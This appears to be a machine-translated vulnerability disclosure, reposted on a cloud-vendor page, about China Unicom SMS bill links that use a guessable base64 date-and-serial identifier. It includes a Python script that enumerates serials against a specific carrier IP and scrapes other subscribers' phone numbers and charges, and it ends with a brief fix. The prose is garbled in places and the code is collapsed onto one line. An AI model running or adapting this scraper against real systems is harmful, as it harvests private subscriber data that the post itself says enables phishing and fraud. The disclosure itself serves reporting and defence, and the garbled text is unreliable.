China Unicom SMS phone bill notification link leakage user information

Source: Internet
Author: User

China Unicom SMS phone bill notification link leakage user information

China Unicom SMS Call Notification provides a link. By changing the URL, You can query the purchase records of other users' mobile phone numbers (which may be accurate to the month)

The obtained information can be used for further deception and phishing of mobile phone users. Leaked mobile phone numbers and consumption records can also be used to detect the value of users' spam messages.

Receive SMS call reminder notification (to protect your privacy, you have already entered the code)


 





Link: http: // 114.247.0.103: 8080/bill/d. h? Attrs = XXXXXXXX



The IP address + port URL is directly used, which means phishing messages are used. After obtaining the Page code with curl, I found that it was actually an official page ...... Fees are correct, and wo.cn resources (js/css or something) are referenced)



Considering that the attr attribute of the link is very base64 encoded, try to decode it:


 





The discovery is composed of a simple date and serial number. After verification, you can simply modify the serial number to find the phone number and phone number of another person.

Due to time constraints, only a very small amount of information is captured for the time being. I believe that a lot of information can be found in depth.



Verification script


 

#!/usr/bin/env python# -*- encoding: utf-8 -*-import hashlibimport httplibimport refrom base64 import b64encode, b64decodeHOST = "114.247.0.103:8080"PATH = """/bill/d.h?attrs="""PROG = re.compile('<div class="mobile">[0-9]+<')RMB_PROG = re.compile('<div class="rmb">.*<')# RMB_PROG = re.compile('<div class="rmb">[0-9]+\.[0-9]+<')def get(path):    conn = httplib.HTTPConnection(HOST, timeout=3)    conn.request("GET", path)    rsp = conn.getresponse()    print(rsp.status, rsp.reason)    text = rsp.read()    match = PROG.search(text)        if match is not None:        span = match.span()        print(text[span[0]:span[1]])    match = RMB_PROG.search(text)    if match is not None:        span = match.span()        print(text[span[0]:span[1]])    # with open("t.log", "wb") as fp:    #     fp.write(rsp.read())def gen_serial():    # for i in range(108350, 118350):    for i in range(1084, 1088):        yield str(i) + "5020141225020141109713411"def main():    for s in gen_serial():        get(PATH + b64encode(s))if __name__ == "__main__":    main()





Verification Result


 

 

Solution:

The identifier string used in the URL cannot expose any business/user-related information, and cannot be simply collided with the correct identifier string

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.